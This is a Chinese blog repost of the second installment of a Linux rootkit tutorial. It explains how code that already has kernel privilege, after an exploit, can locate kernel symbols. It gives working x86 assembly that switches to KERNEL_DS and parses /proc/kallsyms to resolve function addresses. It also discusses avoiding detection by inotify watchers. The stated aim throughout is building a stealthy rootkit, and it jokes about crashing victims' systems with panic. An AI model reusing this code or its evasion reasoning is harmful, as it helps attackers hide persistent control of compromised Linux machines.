[zz]rootkit for linux 2.寻找入口点

2008-12-06 16:22
世上的牛人真是多,今天又见识了一位
技术文章写得如此幽默 易懂,真是太牛了(相比之下我太菜了)
ring3下直接得到内核符号地址,这样rootkits就可以脱离LKM方式了,
可是我居然还没有学汇编 ,fuck这学校
这个冬天该好好把那几本kernel砖头捧读下,自学下x86汇编,我的水平太烂

原文
http://blog.csdn.net/varg_vikernes/archive/2008/11/08/3254821.aspx
作者:varg_vikernes

rootkit for linux 2.寻找入口点

很多人都学汇编。什么是eip他背得倍儿熟。但是你问他怎么把eip的值传给eax,他会毫不犹豫的说“mov eax, eip”。

很多人都学操作系统。什么是内存管理他背得倍儿熟。但是你打开linux-2.6.18的文件夹,他会指着那个mm文件夹说“那个是啥,快打开,里面有mm照片么?”

于是,在填鸭式的学习中,我们习惯于湮没在老师的无数唾沫里,湮没在书本的无数概念里,湮没在课堂的无数瞌睡里,湮没在宿舍的无数盘dota里。直 到有一天,你发现用asp.net,c#,java,vb都无法写出你想要的shellcode时,你恍然大悟,众里寻她千百度,那人却在灯火阑珊处。你 所追随的她,是被你曾经抛弃的操作系统和汇编。

 

好了扯淡完毕。先回答上一节的问题。其实这个漏洞只用来做提权实在是大材小用了。作者写一个漏洞利用程序只是个示范而已,不是让骇客们真的拿去提权。而是让我们自己扩充它,实现自己的功能,实现自己的rootkit。

 

我们来到ring0下面后,那是手无寸铁啊。平常你写内核模块的时候,有啥函数直接拿来用就是了,但是现在不行。你身处一个如此荒凉的地方,你能获 得的只有当前进程的task_struct。而这个也不靠谱,因为各个版本的linux,各种各样的内核设置,导致这个结构里特定成员的偏移都有可能不一 样。所以我们就丢开这个不管了。

怎样获得内核函数地址?这是个问题。如果你不获得函数地址,就啥也做不了。就好比搞自杀式袭击的,到了目的地,发现炸弹不见了,那也只能喝杯咖啡,然后再返回基地组织。

在内核模块中,通过函数名字获取函数地址用的是kallsyms_lookup_name。但现在你连kallsyms_lookup_name这个函数的地址都不知道。我们先来看看这个函数的实现:

kallsyms_lookup_name()

  1. /* Lookup the address for this symbol. Returns 0 if not found. */
  2. unsigned long kallsyms_lookup_name(const char *name)
  3. {
  4.     char namebuf[KSYM_NAME_LEN];
  5.      unsigned long i;
  6.      unsigned int off;
  7.     for (i = 0, off = 0; i < kallsyms_num_syms; i++) {
  8.          off = kallsyms_expand_symbol(off, namebuf);
  9.         if (strcmp(namebuf, name) == 0)
  10.             return kallsyms_addresses[i];
  11.      }
  12.     return module_kallsyms_lookup_name(name);
  13. }

kallsyms_lookup_name() -> kallsyms_expand_symbol()

  1. /* expand a compressed symbol data into the resulting uncompressed string,
  2.     given the offset to where the symbol is in the compressed stream */
  3. static unsigned int kallsyms_expand_symbol(unsigned int off, char *result)
  4. {
  5.     int len, skipped_first = 0;
  6.     const u8 *tptr, *data;
  7.     /* get the compressed symbol length from the first symbol byte */
  8.      data = &kallsyms_names[off];
  9.      len = *data;
  10.      data++;
  11.     /* update the offset to return the offset for the next symbol on
  12.       * the compressed stream */
  13.      off += len + 1;
  14.     /* for every byte on the compressed symbol data, copy the table
  15.         entry for that byte */
  16.     while(len) {
  17.          tptr = &kallsyms_token_table[ kallsyms_token_index[*data] ];
  18.          data++;
  19.          len--;
  20.         while (*tptr) {
  21.             if(skipped_first) {
  22.                  *result = *tptr;
  23.                  result++;
  24.              } else
  25.                  skipped_first = 1;
  26.              tptr++;
  27.          }
  28.      }
  29.      *result = '/0';
  30.     /* return to offset to the next symbol */
  31.     return off;

看清楚没?

kallsyms_names 这个数组里的内容是 len0, idx0_0, idx0_1, idx0_2 ... len1, idx1_0, idx1_1 ....

得到一系列idx后,

idx0_0带入kallsyms_token_table[ kallsyms_token_index[] ]里,找到第一个字符串。

idx0_1带入,找到第二个字符串。

idx0_n带入,其中nlen0-1,找到最后一个字符串。

把所有的字符串连起来,就是第一个内核符号的名字。

这样,把所有的内核符号名字按顺序都获取一次,与传入的参数比较,如果相等,就返回对应的地址。

这是用的一种压缩算法,可以减少内核符号表占用的空间。

编译内核的时候,源码树中script/kallsyms.c这个程序生成了内核符号表的汇编源码,链接完后,内核的镜像里就有了符号表。你可以在kernel/kallsyms.c中找到定义

  1. /* These will be re-linked against their real values during the second link stage */
  2. extern const unsigned long kallsyms_addresses[] __attribute__((weak));
  3. extern const u8 kallsyms_names[] __attribute__((weak));

 

但是你找不到kallsyms_addresseskallsyms_names的定义在哪里。因为编译过程中,script/kallsyms.c生成的内核符号表的汇编源码放在/tmp目录下,用完就删了,你当然找不到。

上面分析的过程看不懂没关系,只要明白一个道理:写kallsyms.c的程序员是很欠抽的。

在当今1G硬盘不需要1块钱,1G内存只要几十块钱的时代,你为了节省那么点空间,写了这么欠抽的代码出来,内核符号表再大,有你硬盘里的松岛枫毛片大吗,有你硬盘里的陈冠希艳照多吗?你这样写,知不知道有什么后果?所以,我们不能通过“暴搜”的方法找到内核符号表。

 

其实,内核符号表在/proc/kallsyms中是可以看到的。所以,我们通过读/proc/kallsyms可以读出所有的内核符号和地址。你可能会说,那我们刚刚还看kallsyms_lookup_name干啥?不是浪费时间么?

不 是的,读/proc/kallsyms毕竟是有点低劣的方法,因为要读你也只能用系统调用去读,目前你还不能越过系统调用直接去读proc entry的。如果用系统调用去读/proc/kallsyms那就必定要经过那一套操作系统的检测流程。在vfs_read里有这样的代码:

  1.          count = ret;
  2.          ret = security_file_permission (file, MAY_READ);
  3.         if (!ret) {
  4.             if (file->f_op->read)
  5.                  ret = file->f_op->read(file, buf, count, pos);
  6.             else
  7.                  ret = do_sync_read(file, buf, count, pos);
  8.             if (ret > 0) {
  9.                  fsnotify_access(file->f_path.dentry);
  10.                  add_rchar(current, ret);

你看看,你要经过两大关。

第一关是security_file_permission。这个函数看名字都知道它是干嘛的了。是rootkit最讨厌的东西。不过所幸内核的默认设置是允许读/proc/kallsyms的。而这个文件,ring3下的普通用户也有读的权限。

第 二关是fsnotify_access。这函数来自于文件系统的inotify 机制,这机制基于inode,一般都是在inode被读,被写等等时候给关注这个事件的人一个信号“这个inode被读/写了”,简单的说就是这样。最麻 烦的是,这个机制是给ring3下的进程用的。所以,如果有一个进程注册了inotify,并关注/proc/kallsyms。那你就露馅了。

 

这方法有一定的危险性。

不过我在google上搜了很久也没搜出来有没啥更好的方法,如果有好的方法,迫切希望有人能告诉我。

 

另外还有一个“偏方”能读到搞到内核符号表。

比如很多人都没删除“System.map-xxx”这个文件,其实这个文件就是内核符号表,与/proc/kallsyms不同的是,它不包括模块的符号表,如果找到了这个文件,确定它是与现在内核一起编译生成的(这样才配套),用它也成。

但这个偏方要你在ring3下操作,还挺不靠谱的。

 

所以啊,我们有时候不要追求得太高了。你喜欢喝牛奶,但没有牛奶的时候你还得和水。没有水的时候你还得喝。。算了不说了。

 

如果你在ring3下用过系统调用,那现在在ring0下读/proc/kallsyms的过程也是类似的,只不过要把ds设置为kernel_ds,这样sys_read函数就不检查参数的地址了,直接读。

代码如下:

 

  1. .text
  2. .globl ksym_lookup
  3.        
  4. .globl filepath
  5. filepath: .asciz "/proc/kallsyms"
  6. FD = 0
  7. BUF = 4
  8. SAVEDS = 1020
  9. FNLEN = 1024
  10. FN = 1028
  11. SSZ = 1032
  12. ksym_lookup:
  13.      pushl %ebp
  14.      pushl %esi
  15.      pushl %edi
  16.      pushl %ecx
  17.      pushl %ebx
  18.      subl $SSZ, %esp
  19.      movl %eax, FN(%esp)
  20.      movl %edx, FNLEN(%esp)
  21.      # set KERNEL_DS
  22.      movl %esp, %eax
  23.      andl $0xffffe000, %eax
  24.      movl 0x18(%eax), %ebx
  25.      movl %ebx, SAVEDS(%esp)
  26.      movl $0xffffffff, 0x18(%eax)
  27.      # open("/proc/kallsyms", O_RDONLY, 0);
  28.      movl $5, %eax
  29.      call 1f
  30.      1: pop %ebx
  31.      subl $(1b - filepath), %ebx
  32.      xorl %ecx, %ecx
  33.      xorl %edx, %edx
  34.     int $0x80
  35.      testl %eax, %eax
  36.      js out
  37.      movl %eax, FD(%esp)
  38.      leal BUF(%esp), %ecx
  39. getch_repeat:
  40.      # read(fd, ecx, 1);
  41.      movl $3, %eax
  42.      movl FD(%esp), %ebx
  43.      movl $1, %edx
  44.     int $0x80
  45.      cmpl $1, %eax
  46.      jnz out_close
  47.      cmpb $'/n', (%ecx)
  48.      jz newline
  49.      incl %ecx
  50.      jmp getch_repeat
  51.      # when a '/n' is read, start parse a new line
  52. newline:
  53.      # skip ' ' in output line 'c01xxxx T funcname'
  54.      leal BUF(%esp), %esi
  55.      movl $2, %ebp
  56. 1:
  57.      cmpb $' ', (%esi)
  58.      jnz 2f
  59.      decl %ebp
  60.      jz 3f
  61. 2:
  62.      incl %esi
  63.      cmpl %ecx, %esi
  64.      jl 1b
  65.      jmp newline_out
  66. 3:
  67.      # cmp str between function name in output line and 'kallsyms_lookup_name'
  68.      incl %esi
  69.      movl FN(%esp), %edi
  70.      movl %ecx, %eax
  71.      subl %esi, %eax
  72.      movl FNLEN(%esp), %ecx
  73.      cmpl %eax, %ecx
  74.      jae 1f
  75.      movl %eax, %ecx
  76.      1:
  77.      incl %ecx
  78.      cld
  79.      repz cmpsb
  80.      testl %ecx, %ecx
  81.      jnz newline_out
  82.      # convert the address from str to ulong. saved in eax
  83.      leal BUF(%esp), %esi
  84.      xorl %eax, %eax
  85. 1:
  86.      movb (%esi), %bl
  87.      cmpb $' ', %bl
  88.      jz 4f
  89.      cmpb $'a', %bl
  90.      jl 2f
  91.      subb $('a' - 10), %bl
  92.      jmp 3f
  93. 2:
  94.      subb $'0', %bl
  95. 3:
  96.      andb $0x0F, %bl
  97.      shl $4, %eax
  98.      movb %al, %cl
  99.      andb $0xF0, %cl
  100.      orb %bl, %cl
  101.      movb %cl, %al
  102.      incl %esi
  103.      jmp 1b
  104. 4:
  105.      # successfully convert address !!
  106.      jmp out_close
  107. newline_out:
  108.      leal BUF(%esp), %ecx
  109.      jmp getch_repeat
  110. out_close:
  111.      pushl %eax
  112.      movl $6, %eax
  113.      movl FD(%esp), %ebx
  114.     int $0x80
  115.      popl %eax
  116. out:
  117.      movl %esp, %ebx
  118.      andl $0xffffe000, %ebx
  119.      movl SAVEDS(%esp), %ecx
  120.      movl %ecx, 0x18(%ebx)
  121.      addl $SSZ, %esp
  122.      popl %ebx
  123.      popl %ecx
  124.      popl %edi
  125.      popl %esi
  126.      popl %ebp
  127.      ret

 

这段代码有个bug,在比较字符串的地方。/proc/kallsyms输出的格式,对于模块里的符号,会在最后面加一个“[模块名]”。

所以不能用这段代码找模块里的函数。大家要用自己改吧。我也懒得改了,反正我一开始不用找内核里的函数。

好了,那现在,你就可以找到大部分函数了,少部分未导出的找不到,但也够你用的了。

 

你说现在干啥呢?

 

有人说“我想搞破坏!”。

好,那你就搜索panic函数。然后panic("hey, your system is fucked!! hacked by xxx/n");

看系统被你panic了。靠,你太伟大了,我们搞了这么半天就是没让系统panic,你一下子就让系统panic了!那后面的文章你也不用看了,因为系统已经panic了,秘密行动失败了,你也知道有啥后果吧。

 

有人说“我想做rootkit”

好,那下一节的内容你可能会很感兴趣。

你可能感兴趣的:(linux,汇编,File,Security,token,newline)